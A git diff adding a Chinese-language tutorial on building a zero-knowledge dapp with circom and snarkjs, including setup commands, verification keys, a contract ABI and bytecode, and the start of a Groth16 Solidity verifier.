+- circom2 doc: <https://docs.circom.io/circom-language/basic-operators/>
+- snarkjs: <https://github.com/iden3/snarkjs>
+- 深入浅出零知识证明之 zk-SNARKs： <https://www.yuque.com/u428635/scg32w/edmn74>
+- ZK Jargon Decoder: <https://nmohnblatt.github.io/zk-jargon-decoder/foreword.html>
+- CTN rollup 分享：<https://www.bilibili.com/video/BV1oL4y1h7iE?p=1&share_medium=android&share_plat=android&share_session_id=9d2f7c31-a4dc-46a5-a2d9-4d6d0ebc3997&share_source=WEIXIN&share_tag=s_i&timestamp=1653798331&unique_k=921Lj1L&vd_source=3c62940e414c68a7f639c5737b9fd3d1>
+- zkRollup tutorial: <https://keen-noyce-c29dfa.netlify.app/#16>
+- 零知识证明的可信设置是否值得担心?: <https://www.sohu.com/a/468233201_100105055>
+- Diving into the zk-SNARKs Setup Phase: <https://medium.com/qed-it/diving-into-the-snarks-setup-phase-b7660242a0d7>
+- scaffold-eth-zk: <https://github.com/scaffold-eth/scaffold-eth-examples/tree/zk-voting-example>
+- online circom editor: https://zkrepl.dev/
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/verification_key.json b/basic/22-zk-snarkjs/verification_key.json
new file mode 100644
index 000000000..69c3c2f2c
--- /dev/null
+++ b/basic/22-zk-snarkjs/verification_key.json
@@ -0,0 +1,96 @@
+{
+ "protocol": "original",
+ "nPublic": 1,
+ "IC": [
+  [
+   "9155592233442963692799890034945512853605849659679247432481546974621101201962",
+   "18274439233561819201307369476607658432815807869411799859601349817821217150111",
+   "1"
+  ],
+  [
+   "561745365187495368212308007430936670726749312758305512947760534358533556901",
+   "7648792604192734147903292948708711400885961936197589242458991515414353355187",
+   "1"
+  ]
+ ],
+ "vk_a": [
+  [
+   "21072565589916774035687938585981809557074926139454763116924633922226829877111",
+   "17239672583573343443517894645203416577825492536634467123636894889843890444563"
+  ],
+  [
+   "21247807717917763387675947520311636505612380190314215368073890876121274171603",
+   "7551155645987247715057782651190776477933088326108388251957542168777097160552"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_b": [
+  "3672305866982554850422046113366393955858333801177015055071637416743535040910",
+  "1432439494480137916826571285178606007316227580537896323186901986809518603357",
+  "1"
+ ],
+ "vk_c": [
+  [
+   "12036086795010357793649968767129811610674917394127758255430492662570764060264",
+   "2447219013442392710330033451824781148704995424544094653298773661275251093527"
+  ],
+  [
+   "17669308103516307541157947646612067865273637660074065534807413746130327637576",
+   "2665909309081157279513744829543838053491238775940842437667826902534803313073"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_gb_1": [
+  "16267645246396480268942761368760161316412850131422727989582352964801289551533",
+  "9908051937849910796790557613459791073458452996192666429429625290730009953915",
+  "1"
+ ],
+ "vk_gb_2": [
+  [
+   "19798585070521421666557889136144214101139893826982127818164101654433351166321",
+   "3538659409347627208954211905791565986912697204254766630110832040135931713686"
+  ],
+  [
+   "14275854324627913059484112768075619301228265966401230020785867655715051675158",
+   "332510447662296563168692923901851959453500231430685682886746196275212839199"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_g": [
+  [
+   "15790110281644309074980530533377720505697986909443663925111446233788639776829",
+   "10636234695309799878715028371707156977646328136643436773988322549073350781492"
+  ],
+  [
+   "11390071610906013134375570422938966625887047947378694273594197745901516168037",
+   "11952058231397685448109057117674167306903619969313744060535220451082006243029"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_z": [
+  [
+   "5631900945227230701335915406246015808791039151176715322074628181046888797977",
+   "5583032375200313479477014113500257719541392558692452565201664775156726555082"
+  ],
+  [
+   "18299970135934322706153192121513405392368863356128279222397666397226939838808",
+   "8129708947064998264356063077922292698559874940174670220920154351608759142119"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ]
+}
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/README.md b/basic/22-zk-snarkjs/zk_dapp_tutorial/README.md
new file mode 100644
index 000000000..e07cdeb64
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/README.md
@@ -0,0 +1,138 @@
+# 简介
+这一章节介绍从实战的角度如何开发zk应用。
+
+# 必备组件
+
+- circom：用于编译circom文件，将其转换为wasm
+- circomlib：包含常用circom逻辑，例如哈希、merkle等
+- circomlibjs：用于生成circomlib电路的输出，例如计算poseidon哈希值
+- circom_tester：用于测试电路，主要是给定输入，计算见证。
+- snarkjs：生成证明、验证证明等。
+
+也可以在[这里](https://docs.circom.io/ )浏览开发zksnark应用所需组件库。
+
+
+# 开发zk应用的过程
+典型过程包括：确定需求——>开发电路——>测试电路——>build电路——>编写dapp。
+
+## 确定需求
+首先需要理解电路证明了什么。通常，给定一组输入，电路用于描述这些输入之间的关系。例如给定一个哈希电路，它有两个输入：dataHash, data。在这个例子中，电路是用于证明data和dataHash之间存在哈希关系，即hash(data) == dataHash。
+
+## 开发电路
+开发电路，需要使用circom语言。可以参考[circuits](./circuits)目录，了解一个典型的circom程序模板。
+
+在这个过程中，你可能需要第三方circom，可以添加circomlib:
+```
+yarn add circomlib
+```
+它会自动将circom电路下载到node_modules，随后即可引入依赖：
+```
+include "../node_modules/circomlib/circuits/poseidon.circom";
+```
+
+
+## 测试电路
+测试电路，需要用户构造输入，然后计算电路的见证。见证就是指基于输入信息，顺着电路构造出的所有中间信号，和最终的输出信号。
+
+需要引入circom_tester:
+```
+yarn add circom_tester
+```
+由于我们需要预先生成dataHash作为输入，因此也需要circomlibjs：
+```
+yarn add circomlibjs
+```
+当然还有chai和mocha:
+```
+yarn add chai 
+yarn add mocha
+```
+
+用户可以在[test](./test)中查看具体的测试案例。
+
+执行测试：
+
+```
+yarn mocha test/test.js
+```
+
+> [!NOTE]
+> javascript的poseidon，得出的哈希数据，默认情况下和go sdk、circomlib生成的不一致，这是因为javascript的poseidon哈希没有进行montgomery格式转换。可以参考test/test.js中的goodPoseidon，它得到的哈希值是正确的。
+
+## build电路
+
+build电路，是指生成如下内容：
+- wasm：生成电路的wasm文件，以用于计算见证。
+- zkey：所谓prooving key，proover使用它来生成证明。注意，它是公开的，不是秘密的！
+- vkey：所谓verification key，verifier使用它来验证证明。它也是公开的。
+- 合约：可以生成一个Verifier合约。
+
+### 生成wasm
+```
+circom circuit.circom --r1cs --wasm --sym
+
+```
+### 生成zkey、vkey
+以groth16为例。生成zkey(circuit_final.zkey)和vkey(verification_key.json)：
+```
+snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
+snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution" -v
+snarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -v
+snarkjs groth16 setup circuit.r1cs pot12_final.ptau circuit_0000.zkey
+snarkjs zkey contribute circuit_0000.zkey circuit_final.zkey --name="First contribution" -v
+snarkjs zkey export verificationkey circuit_final.zkey verification_key.json
+
+```
+
+
+> [!NOTE]
+> 这个过程中，会让用户输入随机分量。这是因为，groth16 的可信设置，是共同协商出一个随机数 $g^s$，第i个贡献者自己准备一个随机数 $s_i$, 然后对前 i-1 个贡献者产出的数据（记为 $r_{i-1}$） $g^{s1s2..s_{i-1}}$ 进行计算： $r_i = r_{i-1}^{si} = g^{s1s2...si}$。直到所有贡献者都贡献完毕，就得到了 $g^s$。如果任何一个用户删除了自己的随机分量，那么即使剩余用户合谋，那么也需要极大算力去暴力猜测缺失的分量。
+
+
+### 导出合约
+导出合约(verifier.sol)：
+```
+snarkjs zkey export solidityverifier circuit_final.zkey verifier.sol
+```
+
+在示例中，已经在artifact目录存放了这些内容。
+
+## 编写dapp（以合约作为verifier为例）
+编写dapp通常包括两个内容：创建业务合约、调用合约。
+
+### 创建业务合约
+首先我们创建一个业务合约My.sol，它只有在哈希验证通过后，才执行某个逻辑。它继承了Verifier合约，因此也继承了verifyProof函数。可参考[contracts]目录。
+
+可以编译它们得到abi和bin。示例中，已经将abi和bin放在了artifact目录。
+
+> [!NOTE]
+> 注意，zk证明分为 pa、pb、pc、publicSignals 几个部分，把他们交给 verifyProof 即可，如果该函数为 true，则意味着验证通过。
+> 
+> 注意，还需要验证 publicSignals 的业务意义。另外，注意本例子中，publicSignals[0] 是输出信号 out，publicSignals[1] 才是 dataHash。
+
+
+### 调用业务合约
+这里面我们使用ethers（v5版本）去调用业务合约。其中，snarkjs用于生成证明。
+
+在[scripts]中，我们：
+- 部署My合约
+- 生成zk证明，以在不披露data的情况下，证明我们持有dataHash的poseidon原像
+- 调用合约的execute函数。合约会验证如下内容后抛出Execute事件：
+    - 用户存在满足特定约束的一组输入
+    - 其中的dataHash和链上记录的一致
+
+用户可以在另一个终端启动一个本地节点(例如yarn hardhat node)，然后运行call_contract.js:
+
+```
+cd scripts
+node call_contract.js
+```
+
+如果打印出success，则为成功。读者还可以去修改代码，例如修改publicSignals的值，那么会导致交易失败。
+---
+**Note**
+
+注意，不管约束多复杂，证明都是常数时间，这也是zksnark的威力。
+
+此外，注意构造proof中pb的方式。
+---
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/abi.abi b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/abi.abi
new file mode 100644
index 000000000..29e2df584
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/abi.abi
@@ -0,0 +1,79 @@
+[
+	{
+		"inputs": [
+			{
+				"internalType": "bytes32",
+				"name": "_dataHash",
+				"type": "bytes32"
+			}
+		],
+		"stateMutability": "nonpayable",
+		"type": "constructor"
+	},
+	{
+		"anonymous": false,
+		"inputs": [],
+		"name": "Execute",
+		"type": "event"
+	},
+	{
+		"inputs": [],
+		"name": "dataHash",
+		"outputs": [
+			{
+				"internalType": "bytes32",
+				"name": "",
+				"type": "bytes32"
+			}
+		],
+		"stateMutability": "view",
+		"type": "function"
+	},
+	{
+		"inputs": [
+			{
+				"internalType": "bytes",
+				"name": "zksnark",
+				"type": "bytes"
+			}
+		],
+		"name": "execute",
+		"outputs": [],
+		"stateMutability": "nonpayable",
+		"type": "function"
+	},
+	{
+		"inputs": [
+			{
+				"internalType": "uint256[2]",
+				"name": "a",
+				"type": "uint256[2]"
+			},
+			{
+				"internalType": "uint256[2][2]",
+				"name": "b",
+				"type": "uint256[2][2]"
+			},
+			{
+				"internalType": "uint256[2]",
+				"name": "c",
+				"type": "uint256[2]"
+			},
+			{
+				"internalType": "uint256[2]",
+				"name": "input",
+				"type": "uint256[2]"
+			}
+		],
+		"name": "verifyProof",
+		"outputs": [
+			{
+				"internalType": "bool",
+				"name": "r",
+				"type": "bool"
+			}
+		],
+		"stateMutability": "view",
+		"type": "function"
+	}
+]
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/bin.bin b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/bin.bin
new file mode 100644
index 000000000..ee8c52997
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/bin.bin
@@ -0,0 +1 @@
+60806040523480156200001157600080fd5b5060405162001dcc38038062001dcc833981810160405281019062000037919062000085565b8060008190555050620000b7565b600080fd5b6000819050919050565b6200005f816200004a565b81146200006b57600080fd5b50565b6000815190506200007f8162000054565b92915050565b6000602082840312156200009e576200009d62000045565b5b6000620000ae848285016200006e565b91505092915050565b611d0580620000c76000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806309c5eabe146100465780631b3012a314610062578063f5c9d69e14610080575b600080fd5b610060600480360381019061005b919061146a565b6100b0565b005b61006a6101b7565b60405161007791906114d0565b60405180910390f35b61009a6004803603810190610095919061170f565b6101bd565b6040516100a79190611793565b60405180910390f35b60008060008085858101906100c5919061170f565b935093509350935060006100db858585856101bd565b90508061011d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101149061180b565b60405180910390fd5b6000826001600281106101335761013261182b565b5b602002015160001b90506000548114610181576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610178906118a6565b60405180910390fd5b7fb9d2d32c9e5b3a74bb2ccd4d000be39660f9852691248d3b91f49adb1ec00f1960405160405180910390a15050505050505050565b60005481565b60006101c76112af565b6040518060400160405280876000600281106101e6576101e561182b565b5b60200201518152602001876001600281106102045761020361182b565b5b60200201518152508160000181905250604051806040016040528060405180604001604052808860006002811061023e5761023d61182b565b5b60200201516000600281106102565761025561182b565b5b60200201518152602001886000600281106102745761027361182b565b5b602002015160016002811061028c5761028b61182b565b5b602002015181525081526020016040518060400160405280886001600281106102b8576102b761182b565b5b60200201516000600281106102d0576102cf61182b565b5b60200201518152602001886001600281106102ee576102ed61182b565b5b60200201516001600281106103065761030561182b565b5b602002015181525081525081602001819052506040518060400160405280856000600281106103385761033761182b565b5b60200201518152602001856001600281106103565761035561182b565b5b602002015181525081604001819052506000600267ffffffffffffffff811115610383576103826114fc565b5b6040519080825280602002602001820160405280156103b15781602001602082028036833780820191505090505b50905060005b600281101561040a578481600281106103d3576103d261182b565b5b60200201518282815181106103eb576103ea61182b565b5b6020026020010181815250508080610402906118f5565b9150506103b7565b5060006104178284610436565b036104275760019250505061042e565b6000925050505b949350505050565b6000807f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000190506000610466610629565b90508060800151516001865161047c919061193d565b146104bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b3906119bd565b60405180910390fd5b60006040518060400160405280600081526020016000815250905060005b86518110156105ab57838782815181106104f7576104f661182b565b5b60200260200101511061053f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053690611a29565b60405180910390fd5b610596826105918560800151600185610558919061193d565b815181106105695761056861182b565b5b60200260200101518a85815181106105845761058361182b565b5b6020026020010151610aa5565b610b7d565b915080806105a3906118f5565b9150506104da565b506105d58183608001516000815181106105c8576105c761182b565b5b6020026020010151610b7d565b905061060b6105e78660000151610c7b565b8660200151846000015185602001518587604001518b604001518960600151610d20565b61061b5760019350505050610623565b600093505050505b92915050565b6106316112e2565b60405180604001604052807f260ed714e7d9b5b10051a042e274589b2c513b554fdb3b9662239757076a4d1b81526020017f1a39b3cd0f60707f565402e9c5833cfdeb194772b11d2ba3e0685395a6fb12898152508160000181905250604051806040016040528060405180604001604052807f137e3f97059a7da7561bc546240115a18261d3d861c66d63658e696e0073c5bb81526020017f1a02eb6003f4ad5ef3f9ebb324cceef53915ed0bbb63af13547a10b163ec06c9815250815260200160405180604001604052807f269863b9562778f15d25bafb2c8f470ffdc5e495378d344388414608193e58c481526020017f099df84187da11db8012cb44dcab1db9834aafa5e4e283dbe9a69fbe71fd19048152508152508160200181905250604051806040016040528060405180604001604052807f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c281526020017f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed815250815260200160405180604001604052807f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81526020017f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa8152508152508160400181905250604051806040016040528060405180604001604052807f2d212ea9571e7400ee321beea31ddb246b6a10fee78600eae7f0a5131fa7601d81526020017f099f61c8f1a8fa6bb03db8a25d552cdfe51293230798017fffa52f623cbe90b3815250815260200160405180604001604052807f14909f13fe842f67df0d18c3c65bf02eb412622cfb8db80c8a73b76def7411da81526020017f2f45341e820969f50460e25f453f1a9a6fcb61fd2b50ada1fb516f80f629d87f8152508152508160600181905250600367ffffffffffffffff8111156108f8576108f76114fc565b5b60405190808252806020026020018201604052801561093157816020015b61091e611329565b8152602001906001900390816109165790505b50816080018190525060405180604001604052807f27223ceb2644b0e62db7175de5bfaff51fbd29a48d8c540380585c9a18c04a2681526020017f1dfa19b000e9609091f42ebf3a15a43445d40103a21a71065c6e573a92fdbafd81525081608001516000815181106109a7576109a661182b565b5b602002602001018190525060405180604001604052807f09496ac77ba9e2ff555172a1f46ed3e2b098719b643e10aa967c7b3ff84dc69a81526020017f20090be3c7de1960214d38262a01754174a8d3c29b372c8634d2163af7c8cf618152508160800151600181518110610a1f57610a1e61182b565b5b602002602001018190525060405180604001604052807f178c365768ba816a60ca3f68ed0e2bf630218d551136563bd384bf8c65ea9b3581526020017f2d4f5d7451846d1e470d5c1190785328cef46450cf67d9e632fb6e31a7e1e8958152508160800151600281518110610a9757610a9661182b565b5b602002602001018190525090565b610aad611329565b610ab5611343565b836000015181600060038110610ace57610acd61182b565b5b602002018181525050836020015181600160038110610af057610aef61182b565b5b6020020181815250508281600260038110610b0e57610b0d61182b565b5b602002018181525050600060608360808460076107d05a03fa90508060008103610b3457fe5b5080610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90611a95565b60405180910390fd5b505092915050565b610b85611329565b610b8d611365565b836000015181600060048110610ba657610ba561182b565b5b602002018181525050836020015181600160048110610bc857610bc761182b565b5b602002018181525050826000015181600260048110610bea57610be961182b565b5b602002018181525050826020015181600360048110610c0c57610c0b61182b565b5b602002018181525050600060608360c08460066107d05a03fa90508060008103610c3257fe5b5080610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a90611b01565b60405180910390fd5b505092915050565b610c83611329565b60007f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47905060008360000151148015610cc0575060008360200151145b15610ce4576040518060400160405280600081526020016000815250915050610d1b565b604051806040016040528084600001518152602001828560200151610d099190611b50565b83610d149190611b81565b8152509150505b919050565b600080600467ffffffffffffffff811115610d3e57610d3d6114fc565b5b604051908082528060200260200182016040528015610d7757816020015b610d64611329565b815260200190600190039081610d5c5790505b5090506000600467ffffffffffffffff811115610d9757610d966114fc565b5b604051908082528060200260200182016040528015610dd057816020015b610dbd611387565b815260200190600190039081610db55790505b5090508a82600081518110610de857610de761182b565b5b60200260200101819052508882600181518110610e0857610e0761182b565b5b60200260200101819052508682600281518110610e2857610e2761182b565b5b60200260200101819052508482600381518110610e4857610e4761182b565b5b60200260200101819052508981600081518110610e6857610e6761182b565b5b60200260200101819052508781600181518110610e8857610e8761182b565b5b60200260200101819052508581600281518110610ea857610ea761182b565b5b60200260200101819052508381600381518110610ec857610ec761182b565b5b6020026020010181905250610edd8282610eed565b9250505098975050505050505050565b60008151835114610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90611c01565b60405180910390fd5b6000835190506000600682610f489190611c21565b905060008167ffffffffffffffff811115610f6657610f656114fc565b5b604051908082528060200260200182016040528015610f945781602001602082028036833780820191505090505b50905060005b8381101561121957868181518110610fb557610fb461182b565b5b602002602001015160000151826000600684610fd19190611c21565b610fdb919061193d565b81518110610fec57610feb61182b565b5b60200260200101818152505086818151811061100b5761100a61182b565b5b6020026020010151602001518260016006846110279190611c21565b611031919061193d565b815181106110425761104161182b565b5b6020026020010181815250508581815181106110615761106061182b565b5b6020026020010151600001516000600281106110805761107f61182b565b5b60200201518260026006846110959190611c21565b61109f919061193d565b815181106110b0576110af61182b565b5b6020026020010181815250508581815181106110cf576110ce61182b565b5b6020026020010151600001516001600281106110ee576110ed61182b565b5b60200201518260036006846111039190611c21565b61110d919061193d565b8151811061111e5761111d61182b565b5b60200260200101818152505085818151811061113d5761113c61182b565b5b60200260200101516020015160006002811061115c5761115b61182b565b5b60200201518260046006846111719190611c21565b61117b919061193d565b8151811061118c5761118b61182b565b5b6020026020010181815250508581815181106111ab576111aa61182b565b5b6020026020010151602001516001600281106111ca576111c961182b565b5b60200201518260056006846111df9190611c21565b6111e9919061193d565b815181106111fa576111f961182b565b5b6020026020010181815250508080611211906118f5565b915050610f9a565b506112226113ad565b6000602082602086026020860160086107d05a03fa9050806000810361124457fe5b5080611285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127c90611caf565b60405180910390fd5b60008260006001811061129b5761129a61182b565b5b602002015114159550505050505092915050565b60405180606001604052806112c2611329565b81526020016112cf611387565b81526020016112dc611329565b81525090565b6040518060a001604052806112f5611329565b8152602001611302611387565b815260200161130f611387565b815260200161131c611387565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b6040518060600160405280600390602082028036833780820191505090505090565b6040518060800160405280600490602082028036833780820191505090505090565b604051806040016040528061139a6113cf565b81526020016113a76113cf565b81525090565b6040518060200160405280600190602082028036833780820191505090505090565b6040518060400160405280600290602082028036833780820191505090505090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f84011261142a57611429611405565b5b8235905067ffffffffffffffff8111156114475761144661140a565b5b6020830191508360018202830111156114635761146261140f565b5b9250929050565b60008060208385031215611481576114806113fb565b5b600083013567ffffffffffffffff81111561149f5761149e611400565b5b6114ab85828601611414565b92509250509250929050565b6000819050919050565b6114ca816114b7565b82525050565b60006020820190506114e560008301846114c1565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611534826114eb565b810181811067ffffffffffffffff82111715611553576115526114fc565b5b80604052505050565b60006115666113f1565b9050611572828261152b565b919050565b600067ffffffffffffffff821115611592576115916114fc565b5b602082029050919050565b6000819050919050565b6115b08161159d565b81146115bb57600080fd5b50565b6000813590506115cd816115a7565b92915050565b60006115e66115e184611577565b61155c565b90508060208402830185811115611600576115ff61140f565b5b835b81811015611629578061161588826115be565b845260208401935050602081019050611602565b5050509392505050565b600082601f83011261164857611647611405565b5b60026116558482856115d3565b91505092915050565b600067ffffffffffffffff821115611679576116786114fc565b5b602082029050919050565b60006116976116928461165e565b61155c565b905080604084028301858111156116b1576116b061140f565b5b835b818110156116da57806116c68882611633565b8452602084019350506040810190506116b3565b5050509392505050565b600082601f8301126116f9576116f8611405565b5b6002611706848285611684565b91505092915050565b600080600080610140858703121561172a576117296113fb565b5b600061173887828801611633565b9450506040611749878288016116e4565b93505060c061175a87828801611633565b92505061010061176c87828801611633565b91505092959194509250565b60008115159050919050565b61178d81611778565b82525050565b60006020820190506117a86000830184611784565b92915050565b600082825260208201905092915050565b7f7a6b50726f6f6620766572696669636174696f6e206661696c65640000000000600082015250565b60006117f5601b836117ae565b9150611800826117bf565b602082019050919050565b60006020820190508181036000830152611824816117e8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420646174612068617368000000000000000000000000000000600082015250565b60006118906011836117ae565b915061189b8261185a565b602082019050919050565b600060208201905081810360008301526118bf81611883565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119008261159d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611932576119316118c6565b5b600182019050919050565b60006119488261159d565b91506119538361159d565b925082820190508082111561196b5761196a6118c6565b5b92915050565b7f76657269666965722d6261642d696e7075740000000000000000000000000000600082015250565b60006119a76012836117ae565b91506119b282611971565b602082019050919050565b600060208201905081810360008301526119d68161199a565b9050919050565b7f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400600082015250565b6000611a13601f836117ae565b9150611a1e826119dd565b602082019050919050565b60006020820190508181036000830152611a4281611a06565b9050919050565b7f70616972696e672d6d756c2d6661696c65640000000000000000000000000000600082015250565b6000611a7f6012836117ae565b9150611a8a82611a49565b602082019050919050565b60006020820190508181036000830152611aae81611a72565b9050919050565b7f70616972696e672d6164642d6661696c65640000000000000000000000000000600082015250565b6000611aeb6012836117ae565b9150611af682611ab5565b602082019050919050565b60006020820190508181036000830152611b1a81611ade565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b5b8261159d565b9150611b668361159d565b925082611b7657611b75611b21565b5b828206905092915050565b6000611b8c8261159d565b9150611b978361159d565b9250828203905081811115611baf57611bae6118c6565b5b92915050565b7f70616972696e672d6c656e677468732d6661696c656400000000000000000000600082015250565b6000611beb6016836117ae565b9150611bf682611bb5565b602082019050919050565b60006020820190508181036000830152611c1a81611bde565b9050919050565b6000611c2c8261159d565b9150611c378361159d565b9250828202611c458161159d565b91508282048414831517611c5c57611c5b6118c6565b5b5092915050565b7f70616972696e672d6f70636f64652d6661696c65640000000000000000000000600082015250565b6000611c996015836117ae565b9150611ca482611c63565b602082019050919050565b60006020820190508181036000830152611cc881611c8c565b905091905056fea26469706673582212206395b474b8aaadcb78196cbbbaadf70064abd6b5ca79d7bb393658dff8f2f5e664736f6c63430008120033
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/circuit.wasm b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/circuit.wasm
new file mode 100644
index 000000000..52f5b9d68
Binary files /dev/null and b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/circuit.wasm differ
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/circuit_final.zkey b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/circuit_final.zkey
new file mode 100644
index 000000000..286157761
Binary files /dev/null and b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/circuit_final.zkey differ
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/verification_key.json b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/verification_key.json
new file mode 100644
index 000000000..ae163a08c
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/verification_key.json
@@ -0,0 +1,99 @@
+{
+ "protocol": "groth16",
+ "curve": "bn128",
+ "nPublic": 2,
+ "vk_alpha_1": [
+  "17214108544151213417539800433311176468512901693170800859465967215878446140699",
+  "11862085286861793542065489552791786495610747461417875217980598566505311572617",
+  "1"
+ ],
+ "vk_beta_2": [
+  [
+   "11765292256257449944630827586436992718384355421309498724679720262263133439689",
+   "8817005734806047651328420221936362338952437587694967389636922017482949248443"
+  ],
+  [
+   "4349924026217009329116974985308107521319016471709083681353619349273225009412",
+   "17457137269561997965526893702223241809174588851474760059778367519650574391492"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_gamma_2": [
+  [
+   "10857046999023057135944570762232829481370756359578518086990519993285655852781",
+   "11559732032986387107991004021392285783925812861821192530917403151452391805634"
+  ],
+  [
+   "8495653923123431417604973247489272438418190587263600148770280649306958101930",
+   "4082367875863433681332203403145435568316851327593401208105741076214120093531"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_delta_2": [
+  [
+   "4352419207383908612591144093161067101286110705009938549655857723283636916403",
+   "20412706185122310344066244173335594506299963460781123421614529132907351990301"
+  ],
+  [
+   "21380976044186132464781962235582584112112813583824333421946135092434001582207",
+   "9301780865705241398734718914827228414907883107422516219437145494001609347546"
+  ],
+  [
+   "1",
+   "0"
+  ]
+ ],
+ "vk_alphabeta_12": [
+  [
+   [
+    "4527177821731351260139268606529528853486841916521948730339238789682014421414",
+    "10680458444486934435059969537020658006989643544909285005021075137484188592447"
+   ],
+   [
+    "294251318653224730182979535510860526802445019687153028109248149965986731457",
+    "18083474279420489031169680057272426233458858331603435908332942915408048584129"
+   ],
+   [
+    "10012788813657855532752727216371441751759580638997207868130863656106916506669",
+    "14383948543539927587503290878411502949369904269032625279871774478306088173160"
+   ]
+  ],
+  [
+   [
+    "19089716112539554511213663071854804318182169863981558149835435384332201439228",
+    "1084883016806441635827468400406003254762247306749009006844348825167562836810"
+   ],
+   [
+    "2485095005418470398034860209104025585436897065604056460422049020618521515703",
+    "18246565760419800585557768693966527799359955226064189743073407874181340147488"
+   ],
+   [
+    "3992555745754787561818846826573279524736442181489248471157048584545900922907",
+    "4340943926960429153364399407081052219126909893625444399341055485682168563806"
+   ]
+  ]
+ ],
+ "IC": [
+  [
+   "17700694339348253354822827962730450473221681859495623625674843793298145954342",
+   "13558961663814610341827151463625142887105825904837601511334344006819894901501",
+   "1"
+  ],
+  [
+   "4200532436143665327688580440068408281282739523466552486286484774771625936538",
+   "14489994838413750348153151923655066254281055197605245495390977658921123630945",
+   "1"
+  ],
+  [
+   "10650929157331389729477462437023936310495733853812484752202548091148300884789",
+   "20494304102713317372589918072256456471542618306215347411367383609933350168725",
+   "1"
+  ]
+ ]
+}
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/verifier.sol b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/verifier.sol
new file mode 100644
index 000000000..7390da655
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/artifact/verifier.sol
@@ -0,0 +1,260 @@
+//
+// Copyright 2017 Christian Reitwiessner
+// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+// 2019 OKIMS
+//      ported to solidity 0.6
+//      fixed linter warnings
+//      added requiere error messages
+//
+//
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.11;
+library Pairing {
+    struct G1Point {
+        uint X;
+        uint Y;
+    }
+    // Encoding of field elements is: X[0] * z + X[1]
+    struct G2Point {
+        uint[2] X;
+        uint[2] Y;
+    }
